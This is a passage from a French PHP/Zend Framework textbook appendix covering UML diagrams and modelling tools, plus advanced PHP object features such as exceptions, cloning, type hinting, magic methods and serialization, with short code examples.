Le diagramme de cas dutilisation


Le diagramme de cas dutilisation (use case) est utilis dans lanalyse fonctionnelle du projet. Ce type de diagramme permet de mettre en avant les interactions entre les acteurs et le systme. Il est donc ncessaire de savoir identifier les acteurs qui ne sont pas obligatoirement reprsents par des personnes physiques, mais souvent des rles : ladministrateur, loprateur, lditeur... Il faut ensuite pouvoir dfinir les actions que ces utilisateurs vont effectuer avec le systme.
Groupe Eyrolles, 2008

329

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Le diagramme de classes
Ce diagramme est sans doute le plus utilis, car il permet de reprsenter une classe ou un ensemble de classes, en prcisant les attributs et les mthodes. Il est aussi possible de prciser les arguments accepts par les mthodes, leur type et aussi le type de retour dune mthode. La figure C-1 reprsente un diagramme de classes.

Figure C1

Un diagramme de classes en UML

On note dans une classe : les attributs en haut, puis, spares par un trait des attributs, les mthodes ; un attribut ou une mthode public avec un signe plus + ; un attribut ou une mthode protg avec un signe dize # ; un attribut ou une mthode priv avec un signe moins - ; un attribut ou une mthode statique en soulign ; une mthode abstraite en italique.
PHP Types
PHP est faiblement typ. On omet souvent de noter le type des attributs et des mthodes. Cela peut toutefois tre dstabilisant, surtout si les noms des mthodes ou des attributs sont peu explicites quant au type utilis/retourn.

On peut aussi noter les types de retour des mthodes, ainsi que les types des attributs. Ceci se fait avec le caractre deux-points +attribut:int, par exemple. Une classe abstraite est note en italique. Le strotype dune classe est un type particulier, par exemple une classe de contrle, une classe de donnes, une classe daffichage. Certains logiciels considrent linterface comme un strotype de classe. Lhritage est matrialis par une flche dont lextrmit est un triangle ferm. La flche va de la fille vers la mre, et en gnral la flche va du

330

Groupe Eyrolles, 2008

bas vers le haut. Lorsquune classe implmente une interface, la flche est la mme que pour lhritage, mais son trait est en pointill. Une association est reprsente par une flche non triangulaire, et plus petite. Elle va de la classe utilisatrice vers la classe utilise. Lagrgation est note par un losange blanc. Il est du ct de la classe intresse, soit la classe qui agrge. La composition est matrialise par un losange noir (ou plein), comme pour lagrgation. Celui-ci est du ct de la classe qui se compose (contient les instances dune autre classe).

Le diagramme de squence
Les diagrammes de squence font intervenir le facteur temps, en plus des objets. Ils sont destins reprsenter les messages changs entre les objets au fur et mesure du temps. Le diagramme se lit de haut en bas (sens dcoulement du temps) et de gauche droite (le point dentre se situe gauche). Les objets sont reprsents verticalement, le long dune ligne dsignant le temps, et chaque rectangle reprsente un traitement. Les messages entre les objets sont nots horizontalement. Ce diagramme est trs pratique pour dmontrer le flux dexcution dun cas dutilisation, au travers des objets, en mettant notamment en avant les appels de mthodes entre objets, et leurs valeurs de retour.
REMARQUE Les diagrammes UML
UML est charg et se dcline en plusieurs versions, tout comme chaque diagramme prsent ici. Nous ne vous avons donn quun aperu limit de ceuxci, qui peuvent savrer beaucoup plus complets et complexes.

Figure C2

Un diagramme de squence UML

La rtro-ingnierie
La rtro-ingnierie, ou ingnierie inverse (reverse engineering), permet de partir dun code source pour gnrer les diagrammes UML. Cette activit est trs pratique concernant les codes sources PHP dont on na pas les diagrammes, ce qui est le cas de Zend Framework. La rtro-ingnierie se fait au moyen de PHP lui-mme et notamment lAPI Rflexion (explique plus loin dans ce chapitre), qui permet PHP danalyser sa propre structure. Des programmes crits en PHP et utilisables en ligne de commande se chargent de lingnierie inverse : on peut citer PHP2XMI, ou PHIMX.
Groupe Eyrolles, 2008

331

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Un fichier XMI (XML Metadata Interchange) est gnr par le programme PHP, et va tre lu par le logiciel de modlisation, afin de pouvoir restituer les donnes mtier. La figure C-3 prsente le concept de rtro-ingnierie.

Figure C3

Le principe de rtro-ingnierie PHP-UML

Bien quintressante, cette mthode a tout de mme ses limites : il existe plusieurs versions de formats de fichiers XMI, et certains logiciels ne les lisent pas tous ; seules les informations dhritage sont restitues, et tout ce qui concerne lutilisation dobjets entre eux (association, composition, agrgation) ne lest pas ; PHP tant faiblement typ, la restitution des types des paramtres des mthodes, ainsi que de leur valeur de retour, est trs incomplte, voire absente ; ne vous attendez pas un diagramme prt imprimer. Vous ne rcuprez que les donnes brutes (les classes et certains types de donnes). vous de les agencer convenablement par la suite, le travail peut tre trs long.

Les logiciels de modlisation


Comme pour tous les logiciels, il en existe de nombreux concernant la modlisation UML. Il faut retenir cependant les critres principaux lors de son choix : le type de licence et le prix du logiciel ; la capacit gnrer du code partir du modle ;

332

Groupe Eyrolles, 2008

la capacit traiter la rtro-ingnierie (le format XMI) ; les types de diagrammes pris en compte. Disons-le tout de suite, il nexiste pas des centaines de logiciels de modlisation UML pour PHP. En revanche, concernant les autres langages, notamment orients objet comme Java ou C++ , il y a largement le choix. Aussi, en PHP, nous avons rarement besoin de plus de quatre types de diagrammes, les diagrammes de classe et de squence tant les plus utiliss.

ArgoUML
ArgoUML est sous licence BSD ; il fonctionne avec un environnement Java, donc sous tout OS. Il est relativement rapide, lger et simple prendre en main. Son parseur XMI est de bonne facture, il traite trs bien la rtro-ingnierie et sait gnrer du code PHP 5 partir dun diagramme de classes. On relve nanmoins quelques failles sur la gestion des types PHP, sans gravit. Par contre, aussi surprenant que cela puisse paratre, il nexiste pas de fonctions copier/couper/coller...

Figure C4

argoUML

Umbrello
Umbrello est un outil libre, qui nest disponible que sous Linux, et qui sinstalle via le systme de paquetages de la distribution. Lger, il est cependant assez lent sur les gros projets comprenant beaucoup de classes. En revanche, sa lecture du XMI est bonne et il gre correctement les types de donnes PHP 5. Il sait galement trs bien gnrer du code partir dun diagramme de classes.

Groupe Eyrolles, 2008

333

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Figure C5

Umbrello

StarUML
StarUML ne fonctionne que sous Windows. Sous licence GNU, cest un programme assez complet, qui intgre des mthodologies comme MDA ou Rationnal Approach. De plus, il propose un systme de plugins permettant dtendre ses fonctionnalits. Malheureusement, le langage PHP nest pas (encore ?) pris en charge, ce qui limite son intrt dans le cadre dun projet sous ce langage.

Figure C6

starUML

Dia
Dia est un logiciel de cration de diagrammes dentreprises ( la manire de Microsoft Visio) qui gre lUML. Il est sous licence GPL et utilise GTK+ pour fonctionner. On le trouve dans les systme de paquetages de Linux, il est aussi disponible pour Windows ou Mac.

334

Groupe Eyrolles, 2008

Il nest pas capable de lire les fichiers XMI et fait donc limpasse sur lingnierie inverse. Il est cependant capable de grer PHP 5 par lajout dun plugin libre et gratuit appel UML2PHP5. Ce plugin lui ajoute la facult de transformer un diagramme de classes UML en code PHP 5.

Figure C7

Dia

Concepts objet PHP avancs


PHP regorge de fonctionnalits trs pratiques concernant les objets. La bonne utilisation de ces fonctionnalits, associe une bonne utilisation du modle objet en gnral, permet de mettre en place des structures tonnamment dynamiques, souples et puissantes. Cest grce ces fonctionnalits que des frameworks comme Zend Framework ont pu voir le jour. Nul doute l-dessus : PHP possde dsormais un modle objet trs puissant et en constante volution. Nous allons, dans cette partie, faire le tour des concepts objet avancs de PHP.

Les exceptions
Les exceptions sont un concept essentiel de la programmation oriente objet. Elles rpondent un constat simple : la plupart du temps, nous crivons des classes dont nous ne serons pas utilisateurs, et nous utilisons des objets issus de classes que nous navons pas cres (Zend Framework, par exemple). Lorsque nous utilisons un objet de manire incorrecte, ou lorsque lon dtecte une manire incorrecte dutiliser les futurs objets issus de nos classes (selon o lon se place, en tant quutilisateur ou crateur), une exception doit tre lance.
T Exceptions

Nous lanons (throw) des exceptions quil sera ensuite possible dattraper (catch). Pour cela, il faudra essayer (try) un algorithme.

Groupe Eyrolles, 2008

335

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Par exemple, une mthode dune classe qui se connecte une base de donnes devrait envoyer une exception dans le cas o le serveur de bases de donnes est inaccessible. Le bloc try/catch permet de tester un algorithme afin den intercepter les ventuelles exceptions :
Un bloc try/catch
try { $object->complexMethod(); } catch (Exception $e) { echo $e; }

De lautre ct, la mthode complexMethod() devrait utiliser le mot-cl throw afin denvoyer une exception :
Envoyer une exception
throw new Exception ("impossible deffectuer cette action");

Il est immdiatement remarquable quune exception est un objet, issu de la classe Exception. Cette classe est interne PHP, elle agit comme toute autre classe. Sa seule particularit est quil nest possible denvoyer (mot-cl throw) quun objet provenant de la classe Exception, ou dune de ses classes filles.

Figure C8

Diagramme de la classe Exception

Les attributs de la classe tant privs ou protgs, nous ne pouvons y accder partir de lobjet Exception. En revanche, des mthodes existent, et leur nom est assez explicite. Reprenons notre classe Produit utilise dans les paragraphes prcdents, et ajoutons-lui la gestion des exceptions :

336

Groupe Eyrolles, 2008

Exemple concret dutilisation des exceptions


class Produit { protected $_prix; protected $_stock; public function __construct($p, $s) { $this->_prix = abs((float)$p); $this->_stock = abs((int)$s); } public function getStock() { return $this->_stock; } public function getPrix() { return $this->_prix; } public function vendre($ex) { $exemplaires = abs((int)$ex); if ($exemplaires > $this->_stock) { throw new Exception ('Stock insuffisant'); } $this->_stock -= $exemplaires; return $this->_prix * $exemplaires; } }

Utilisation de la classe Produit


$produit = new Produit(10, 20); try { $facture = $produit->vendre(15); } catch (Exception $e) { echo "Un problme est survenu :", $e->getMessage(), "\n"; echo "Dans le fichier {$e->getFile()}"; echo " la ligne {$e->getLine()}"; }

REMARQUE Bloc try/catch facultatif


Contrairement dautres langages, nous aurions pu ne pas utiliser de bloc try/catch. Cependant, si une exception est envoye (throw) mais non intercepte, alors PHP gnrera une erreur E_FATAL. Notez aussi quil nexiste pas dinterface Throwable, comme en Java.

Cet exemple, en revanche, naffiche rien, car lexception nest envoye que si on tente de vendre un nombre de produits suprieur au stock actuel. Le stock est ici de 20, et nous vendons 15 produits : tout va bien. Dans le cas contraire, le bloc catch aurait t excut. Il est obligatoire de typer lexception que lon souhaite intercepter, tout simplement parce quun algorithme peut envoyer plusieurs types dexcep-

Groupe Eyrolles, 2008

337

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

tion. Chacune sera alors gre dune manire diffrente, il suffira denchaner les blocs catch :
Exemple dexceptions avec ZendFramework
try { $db = Zend_Db::factory('Pdo_Mysql', $parameters); $db->getConnection(); } catch (Zend_Db_Adapter_Exception $e) { echo "Problme de connexion au SGBD"; } catch (Zend_Exception $e) { echo "Impossible de charger la classe PDO_Mysql"; }

Chacune des classes dexception du Zend Framework hrite de Exception, sinon il naurait pas t possible de les envoyer via throw. Lintrt apparat tout de suite : on peut traiter chacune des exceptions dune manire bien spcifique. Il faut ainsi les intercepter de la plus spcifique la plus gnrique. Il est aussi possible, pourquoi pas, de redfinir certaines mthodes de la classe Exception :
Une classe dexception personnalise
class MyException extends Exception { protected static $_logFile = 'chemin/exceptions.log'; public function __construct ($message = '', $code = 0) { $this->_log(self::$_logFile); parent::__construct($message, $code); } protected function _log($where) { file_put_contents($where, $this->getMessage(), FILE_APPEND); } }

Lorsquune telle exception sera envoye, elle enregistrera automatiquement le message quon lui passe, dans un fichier de journalisation. Nous avons redfini le constructeur dans ce but, en ajoutant simplement lenregistrement dans le journal, sans oublier dappeler le constructeur parent, afin que lobjet Exception soit pleinement construit. Il aurait pu tre intressant aussi dexploiter le code. Lapprciation du code de lexception, ainsi que sa signification, est laisse au dveloppeur.

338

Groupe Eyrolles, 2008

En gros, vous pouvez lutiliser comme vous le souhaitez, PHP nen fait rien pour lui-mme. Voici un exemple qui analyse le code de lexception et, dans certains cas, la renvoie :
Exemple de renvoi dune exception
try { $unObjet->uneMethodeComplexe(); } catch (Exception $e) { if($e->getCode() == 500) { exit($e->getTraceAsString()); } else { throw $e; // Renvoi de lException } }

Ici, dans un bloc try/catch, si nous attrapons une exception, quel quen soit son type, nous analysons son code. Dans le cas dun code 500, nous arrtons le programme en affichant toute la trace de lexception lcran. Dans le cas contraire, nous la laissons schapper, en esprant quun tel code soit lui-mme entour dun autre bloc try/catch.
Imbrication de blocs try/catch
function uneFonctionPHP() { try { throw new Exception('Une exception est survenue'); } catch (Exception $e) { if($e->getCode() == 500) { exit($e->getTraceAsString()); } else { throw $e; // Renvoi de lException } } }

try{ uneFonctionPHP(); } catch (Exception $e) { echo $e->getMessage(); }

Ici, nous essayons denvoyer une exception sans code. Le code prendra la valeur 0 par dfaut et lexception sera donc attrape, puis renvoye, pour tre finalement intercepte dans le bloc catch de dernier niveau. Dans le cas o nous aurions utilis un code 500, avec une syntaxe throw alors la trace aurait t affiche et le programme se serait arrt cause de exit().
new Exception('Message', 500);

Groupe Eyrolles, 2008

339

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

La gestion des objets et les oprateurs


Nous allons voir dans cette partie quelques subtilits bien matriser afin de pleinement manipuler les objets PHP. PHP met disposition quelques fonctions permettant de faire des tests sur ses objets : passons les plus importantes en revue.

Rfrences et clonage
PHP Rgle dor
En PHP 5, par dfaut, tous les passages dobjets (dune variable lautre, dans une fonction...) se font par rfrence.

Contrairement tout le reste du langage, lorsquil sagit dobjets, PHP suppose systmatiquement et implicitement des rfrences, voici un exemple illustrant de ce principe :
Par dfaut, les types non-objet agissent par copie
$a = 0; $b = $a; $b++; echo $b; // 1 echo $a; // 0

Par dfaut, le type objet agit par rfrence


class ZF { public $attribut = 0; } $a = new ZF(); echo $a->attribut; // 0 $b = $a; $b->attribut = 2; echo $b->attribut; // 2 echo $a->attribut; // 2 aussi

Que lon utilise une galit, ou que lon passe un objet une fonction ou une mthode, il sagira bien de la mme instance mmoire. Les tests dinstance que sont lgalit et lidentit le dmontrent.
SAVOIR galit, identit
Lgalit vrifie que deux objets sont issus de la mme classe et ont, un mme moment, les mmes valeurs dattributs. Lidentit vrifie que deux objets reprsentent la mme instance mmoire.

Vrification de lgalit et identit de deux objets


class ZF { public $attribut = 0; } $a = new ZF(); $b = new ZF();

340

Groupe Eyrolles, 2008

$c = $a; var_dump($a == $b) // true var_dump($a === $b) // false $b->attribut = 8; var_dump($a == $b) // false cette fois var_dump($a == $c) // true $a->attribut = 4; var_dump($a === $c) // true

Le clonage est laction de dupliquer un objet un moment donn. On le ddouble, il sagit donc la fin du clonage de deux instances diffrentes :
Le clonage
class ZF { public $attribut = 0; } $a = new ZF(); $b = $a; $b->attribut = 3; // $a et $b sont toujours identiques, ce sont les mmes instances var_dump($a === $b); // true : mmes instances $c = clone $b; var_dump($c === $b); // false : 2 instances diffrentes var_dump($c == $b); // true : 2 instances de la mme classe ayant les mmes valeurs dattributs

SAVOIR Clone
tant donn quavec les objets, le signe gal ne duplique pas lobjet, mais en cre une autre rfrence, clone permet simplement cette duplication. Sur dautres types PHP, le signe gal sen charge.

Oprateurs et fonctions relatives aux objets


Loprateur instanceof permet de vrifier la fois que : un objet est une instance dune classe donne ; un objet est une instance dune classe fille dune classe donne ; un objet est une instance dune classe implmentant une interface donne.
Utilisation de loprateur instanceof
interface Interrogeable { function interroger(); }

Groupe Eyrolles, 2008

341

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

class Personne implements Interrogeable { protected $_prenom; protected $_adresse; public function __construct($prenom, $adresse) { $this->_prenom = $prenom; $this->_adresse = $adresse; } public function interroger() { return 'Etre ou ne pas tre, telle est la question'; } } class Femme extends Personne { public $sexe = 'Fminin'; } $uneFemme = new Femme('Sophie', 'Paris'); $unePersonne = new Personne('inconnu', 'France'); var_dump(uneFemme instanceof Femme); // true var_dump(uneFemme instanceof Personne); // true var_dump(uneFemme instanceof Interrogeable); // true var_dump(unePersonne instanceof Femme); // false var_dump(unePersonne instanceof Interrogeable); // true

En reprenant lexemple ci-dessus, voici quelques fonctions PHP relatives aux objets qui peuvent savrer trs utiles :
Exemples de diffrentes fonctions PHP concernant les objets
$f = new Femme('Sophie', 'Paris'); echo get_class($f); // Femme echo get_parent_class($f); // Personne var_dump(get_object_vars($f)); /*array(1) { ["sexe"]=> string(7) "Fminin" }*/ var_dump(is_subclass_of($f, Personne)); // true var_dump(class_implements($f)); /*Array(1) { ["Interrogeable"]=> string(13) "Interrogeable"*/

342

Groupe Eyrolles, 2008

Remarquez quil y a un rel contexte : tout attribut qui nest pas public, nexiste pas pour lobjet, sauf dans la classe elle-mme. Voyez plutt :
Le contexte objet
class Bureau { private $_notPublic; public function hasProperty($prop) { return property_exists($this, $prop); } } $b = new Bureau(); var_dump(property_exists($b, '_notPublic')); // false var_dump($b->hasProperty('_notPublic')); // true

Aussi, les fonctions get_declared_classes() et get_declared_interfaces(), ayant toutes deux des noms explicites, peuvent tre utiles, notamment pour prendre connaissance des nombreuses classes et interfaces dont PHP dispose nativement.

REMARQUE Visibilit
Quelle que soit sa visibilit, method_exists() retournera true si la mthode existe bien.

Typage dargument
En PHP, il nexiste pas de typage fort. Toute variable peut prendre nimporte quel type de valeur, nimporte quel moment ou presque. Si ce choix de typage faible peut savrer extrmement pratique, il faut tout de mme bien connatre les rgles de transtypage internes de PHP. De plus, labsence de typage fort peut reprsenter un inconvnient lors de la programmation de structures de donnes comme les classes qui, elles, aimeraient bien bnficier dune telle fonctionnalit. Qu cela ne tienne, PHP bnficie du typage dargument. Lorsquune fonction ou mthode doit prendre en argument un objet dune certaine classe, ou dune classe implmentant une certaine interface, il est possible de le dclarer :
Dclaration de typage dargument
class Auteur { protected static $_dbInstance; public function getLivres($id) { $id = (int)$id; $sql = "SELECT * FROM livres WHERE idauteur = $id"; return self::$_dbInstance->query($sql); }

Groupe Eyrolles, 2008

343

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

public static function setDbInstance(PDO $instance) { self::$_dbInstance = $instance; } }

PHP Limites du typage


Le typage dargument ne fonctionne que pour les objets et les tableaux (array). Il nest pas possible dexiger un autre type, comme int ou string par exemple, mme si ce sujet est en dbat pour les futures versions de PHP.

Cette classe sert crer des objets Auteur. La classe possde un attribut (un attribut de classe, statique) reprsentant un objet qui sert requter une base de donnes. Sa mthode setDbInstance() accepte un paramtre typ. Celui-ci doit tre, au choix : un objet de la classe PDO ; un objet dune classe qui hrite de PDO ; un objet dont la classe implmenterait une interface PDO, si elle avait exist. On comprend rapidement lintrt essentiel dun tel typage. Il est obligatoire, dans cet exemple, que lobjet de base de donnes quutilise la classe Auteur possde une mthode query(), tant donn que nous lutilisons.

NOTER Non-respect du typage


Dans le cas o lon ne respecterait pas le typage dargument, PHP renverrait une erreur E_FATAL.

Afin dviter un test, par exemple if (method_exists...)) ou if ($argument instanceof MaClasse), on a trs souvent recours au typage dargument.

Les mthodes magiques


Nous avons dj pris connaissance de quelques mthodes magiques de PHP. Celles-ci ont la particularit de commencer par deux caractres de soulignement : __construct(), __destruct(). Ces mthodes sont dites magiques, car on ne les appelle pas explicitement. Cest PHP qui va les appeler lorsquun vnement particulier intervient dans le code. PHP dispose dautres mthodes magiques qui permettent une utilisation avance du langage. Il devient alors possible de crer des structures tout fait originales, et combien pratiques. Sans ces mthodes magiques, les frameworks, comme le Zend Framework nauraient pas une telle souplesse dutilisation. Attention, cependant : comme toute la programmation oriente objet, ces mthodes doivent tre utilises bon escient. Une mauvaise utilisation entranera le contraire de leffet recherch : un code plus complexe, moins flexible, et difficile dboguer. Il faut aussi noter que lutilisation des mthodes magiques dcrites ciaprs a un impact sur les performances du programme. Il faut donc les utiliser lorsquelles apportent une relle valeur ajoute au programme, et non uniquement pour se simplifier la vie. 344
Groupe Eyrolles, 2008

__get() et __set()
__get() et __set() sont appeles automatiquement lorsquon accde un attribut inexistant dans la classe, respectivement en lecture et en criture. Le contexte de visibilit est bien sr pris en considration. Si une classe dclare un attribut priv, celui-ci apparatra comme inexistant aux yeux de lobjet (externe la classe donc).

REMARQUE Visibilit et static


__get() et __set() ne fonctionnent pas pour les attributs statiques et doivent tre dclares publiques partir de PHP 5.3.

Une classe utilisant __get() et __set() :


class ZFBook { public function __get($prop) { echo "lattribut $prop nexiste pas pour cet objet \n"; } public function __set($prop, $value) { echo "Impossible daffecter la valeur $value $prop, cet attribut nexiste pas pour cet objet. \n"; } } $livre = new ZFBook(); $livre->foo = 'bar'; $a = array($livre->bar);

Ce code affiche :
Impossible daffecter la valeur bar foo, cet attribut nexiste pas pour cet objet. lattribut bar nexiste pas pour cet objet.

Nous allons donner un autre exemple de ce quil ne faut, cette fois-ci, pas faire. Nous allons court-circuiter la visibilit et rendre tous les attributs dune classe visibles lextrieur, mme si ceux-ci ne sont pas publics :
Utilisation dangereuse des mthodes magiques
class ZFBook { public $attribut1 = 1; protected $_attribut2 = 2; private $_attribut3 = 3;

public function __get($prop) { if (!property_exists($this, $prop)) { throw new Exception("La proprit $prop nexiste pas"); } return $this->$prop; }

Groupe Eyrolles, 2008

345

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

public function __set($prop,$value) { if (!property_exists($this, $prop)) { throw new Exception("La proprit $prop nexiste pas"); } $this->$prop = $value; } }

$livre = new ZFBook(); $livre->attribut1 = 'texte 1'; echo $livre->_attribut2; // 2 $livre->_attribut3 = 'texte 3'; echo $livre->_attribut3; // texte 3 echo $livre->jenexistepas; // fatal error : uncaught Exception

ZEND FRAMEWORK
Utilisation des mthodes magiques
La classe Zend_Db_Table_Row, qui donne accs un enregistrement dune table, utilise ces deux mthodes magiques pour permettre daccder aux colonnes de lenregistrement dans la table, sous forme dattributs de lobjet.

En plus de casser rellement le principe de visibilit de la programmation oriente objet, cette classe sera mal analyse par les logiciels IDE (environnements de dveloppement intgrs). En effet, ceux-ci, proposent dans leur autocompltion tous les attributs publics, sur un objet (ce qui est tout fait normal et recherch). Or, ce nest pas parce que le code de la classe donne accs aux attributs privs et protgs de celle-ci via des mthodes magiques, que le logiciel IDE va pour autant reflter ce comportement.

__call()
REMARQUE Visibilit et static
Comme pour __get() et __set(), __call() ne fonctionne pas sur les mthodes statiques et doit tre dclare publique partir de PHP 5.3.

Cette mthode magique ragit exactement de la mme manire que ses surs __get()/__set(), si ce nest quelle agit lors de lutilisation dune mthode inexistante sur un objet.
Exemple dcriture de setters et getters gnriques avec __call()
class ZFBook { public $attribut1 = 1; protected $_attribut2 = 2; private $_attribut3 = 3;

public function __call($method, $args) { if (property_exists($this, $attr = substr($method, 3))) { if($access = substr($method, 0, 3) == 'set') { return $this->$attr = $args[0]; } if($access = substr($method, 0, 3) == 'get') { return $this->$attr; } }

346

Groupe Eyrolles, 2008

throw new Exception("La mthode $method nexiste pas"); } }

$livre = new ZFBook(); $livre->setattribut1('une valeur'); echo $livre->getattribut1(); // une valeur

La mthode __call() intercepte tout appel dun objet une mthode non existante dans la classe. Elle prend deux paramtres : le premier est le nom de la mthode demande, le deuxime est un tableau qui reprsente tous les paramtres passs la mthode inexistante. Nous analysons les trois premires lettres de la mthode appele. Sil sagit de get ou de set, alors nous lisons ou crivons dans lattribut en question. Attention, ici encore nous ne faisons pas de vrification de visibilit. Si lattribut en question est priv, il sera accessible.

ZEND FRAMEWORK Utilisation de __call()


__call() est trs utilise dans Zend Framework. Par exemple la classe Zend_Db_Table_Row permet, sur ses objets, lappel des mthodes non existantes, mais interceptes par __call(), comme par exemple find<class>Via<class>().

__isset(), __unset()
Dans la ligne, ces deux mthodes vont intercepter lutilisation des fonctions PHP du mme nom sur un attribut de classe. Sans leur prsence, un code isset($obj->attribut) agirait de manire normale : si lattribut en question existe et est non nul, true est retourn, sinon cest false. Avec les mthodes magiques, il est possible dintercepter lappel de ces fonctions et les rerouter ailleurs, sur un tableau interne par exemple.
Interception des fonctions PHP isset() et unset(), sur un objet
class Logiciel { protected $_data = array(); public function __set($variable, $value) { $this->_data[$variable] = $value; } public function __get($variable) { return $this->_data[$variable]; } public function __isset($name) { return isset($this->_data[$name]); }

Groupe Eyrolles, 2008

347

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

public function __unset($prop) { unset($this->_data[$prop]); } } $soft = new Logiciel(); $soft->valeur1 = 'valeur1'; var_dump(isset($soft->valeur1)); // true unset($soft->valeur1); var_dump(isset($soft->valeur1)); // false

__clone()
Cette mthode est appele automatiquement lorsquon clone un objet. Elle peut alors effectuer des modifications sur lobjet clon avant de le retourner :
Utilisation de __clone()
class Voiture { protected $_serialNo; public function __construct($num) { $this->_serialNo = (int)$num; } public function __clone() { $this->_serialNo++; } public function getSerialNumber() { return $this->_serialNo; } } $v1 = new Voiture(123); $v2 = clone $v1; echo $v1->getSerialNumber(); // 123 echo $v2->getSerialNumber(); // 124

De la mme manire, il est possible dinterdire le clonage dun objet, tout simplement en passant la mthode __clone() en visibilit non publique :

348

Groupe Eyrolles, 2008

Interdire le clonage
class Voiture { protected $_serialNo; protected function __clone() {} } $v = new Voiture; $v2 = clone $v; // fatal error

__toString()
La mthode magique __toString() est appele automatiquement lorsquon transforme un objet en chane de caractres.
Exemple de transformation dun objet en chane
class Personne { private $_nom; private $_prenom; public function __construct($n, $p) { $this->_nom = $n; $this->_prenom = $p; } public function __toString() { return $this->_nom . ' ' . $this->_prenom; } }

REMARQUE Comportement de __toString()


Avant PHP 5.2, il tait possible de transformer un objet en chane, mme si celui-ci ne possdait pas de mthode __toString(). Il retournait alors un identifiant dobjet. a nest dsormais plus possible (erreur E_FATAL).

$p = new Personne('Pauli', 'Julien'); echo $p; // affiche Pauli Julien // ou encore printf("Vous avez le bonjour de %s", $p); // ou bien $coords = (string) $p; __toString()

ZEND FRAMEWORK Utilisation de __toString()


Les objets Zend_Db_Select utilisent __toString() afin dafficher la requte quils encapsulent.

est souvent utilise. Par exemple, la classe Exception utilise une telle mthode permettant dafficher lobjet dexception directement (il renvoie alors toutes ses informations).

Groupe Eyrolles, 2008

349

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Quelques notes : un objet ne peut jamais tre converti en entier ; la mthode magique __toString() doit retourner obligatoirement une chane de caractres (ce qui est logique) ; il nest pas possible denvoyer des exceptions depuis la mthode
__toString().

__sleep(), __wakeup()
La srialisation est le fait de transformer un type composite (array, object) en type scalaire (string, int, float...), souvent une chane de caractres. Ce processus est enclench lors de lappel la fonction serialize() de PHP, ou lest automatiquement lors du passage dun objet (ou tableau) en session. Cependant, le type spcial ressource de PHP ne peut tre transform en chane, car il sagit dun type reprsentant un lien physique entre PHP et un systme sous-jacent. Par exemple, une ressource reprsentant un fichier, telle que retourne par la fonction fopen(), ou encore une connexion une base de donnes. Que se passe-t-il lorsquun objet, dont un attribut est de type ressource, est srialis ? PHP va perdre la valeur de cet attribut. En voici la dmonstration :
Srialisation dun objet contenant une ressource
class Book { protected $_stock; protected $_nom; private $_log; public function __construct($nom, $stock) { $this->_stock = $stock; $this->_nom = $nom; $this->_log = fopen('log','a+'); } public function vendre($nbre) { $nbre = abs((int)$nbre); $this->_stock -= $nbre; $this->_log("vente de $nbre exemplaires".PHP_EOL); } private function _log($message) { fwrite($this->_log, $message); }

350

Groupe Eyrolles, 2008

} $b = new Book('Zend Framework', 200); $b->vendre(10); $serialized = serialize($b); $x = unserialize($serialized); var_dump($b); var_dump($x); // ceci affiche : object(Book)#1 (3) { ["_stock:protected"]=> int(190) ["_nom:protected"]=> string(13) "ZendFramework" ["_log:private"]=> resource(3) of type (stream) } object(Book)#2 (3) { ["_stock:protected"]=> int(190) ["_nom:protected"]=> string(13) "ZendFramework" ["_log:private"]=> int(0) }

Vous voyez que, concernant lobjet $x, lattribut priv _log ne contient plus la ressource, mais un entier dont la valeur est zro. Ce comportement est exactement le mme avec les sessions : lobjet $b aurait pu tre mis en session, puis restaur dans une page annexe en un objet dans $x. Heureusement, les mthodes magiques __sleep() et __wakeup(), appeles respectivement pour la srialisation et la dsrialisation dun objet, vont nous permettre dagir sur ces deux vnements :
Srialisation dun objet contenant une ressource et la grant correctement
class Book { protected $_stock; protected $_nom; private $_log; public function __construct($nom, $stock) { $this->_stock = $stock; $this->_nom = $nom; $this->_log = fopen('log','a+'); } public function vendre($nbre) { $nbre = abs((int)$nbre); $this->_stock -= $nbre; $this->_log("vente de $nbre exemplaires".PHP_EOL); } private function _log($message) { fwrite($this->_log,$message); }

Groupe Eyrolles, 2008

351

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

public function __sleep() { return array('_stock', '_nom'); } public function __wakeup() { $this->_log = fopen('log', 'a+'); } } $b = new Book('Zend Framework', 200); $b->vendre(10); $serialized = serialize($b); $x = unserialize($serialized); var_dump($b); var_dump($x); // ceci affiche : object(Book)#1 (3) { ["_stock:protected"]=> int(190) ["_nom:protected"]=> string(13) "ZendFramework" ["_log:private"]=> resource(3) of type (stream) } object(Book)#2 (3) { ["_stock:protected"]=> int(190) ["_nom:protected"]=> string(13) "ZendFramework" ["_log:private"]=> resource(4) of type (stream) }

ATTENTION Construction et dsrialisation


Dsrialiser un objet nappelle pas son constructeur. Un constructeur nest appel que par le mot-cl new.

doit retourner obligatoirement un tableau et celui-ci doit contenir des valeurs dcrivant les attributs de lobjet, qui seront effectivement srialiss. Ici, on slectionne tout ce qui nest pas ressource (ceci aurait pu tre fait automatiquement au moyen dune boucle et de la fonction PHP get_object_vars()). Notez quil aurait t possible dpurer un peu plus les attributs que lobjet doit garder lors de sa transformation en chane de caractres.
__sleep()

est appele la dsrialisation de lobjet (ou lors de sa sortie de session, soit lors de lappel la fonction PHP session_start()). Elle se charge simplement de rcrer la ressource ncessaire la bonne vie de lobjet.
__wakeup()

Linterface de Rflexion
Rarement utilise, car peu connue ou pas toujours utile, linterface de Rflexion est pourtant dune importance capitale. Mais quest-ce donc ? La rflexion est compose dun ensemble dobjets et de classes de PHP, qui permettent lintrospection du moteur dexcution de PHP, le Zend Engine, et particulirement des objets. Il devient possible de regarder lintrieur dune partie du modle objet et fonctionnel de PHP.

352

Groupe Eyrolles, 2008

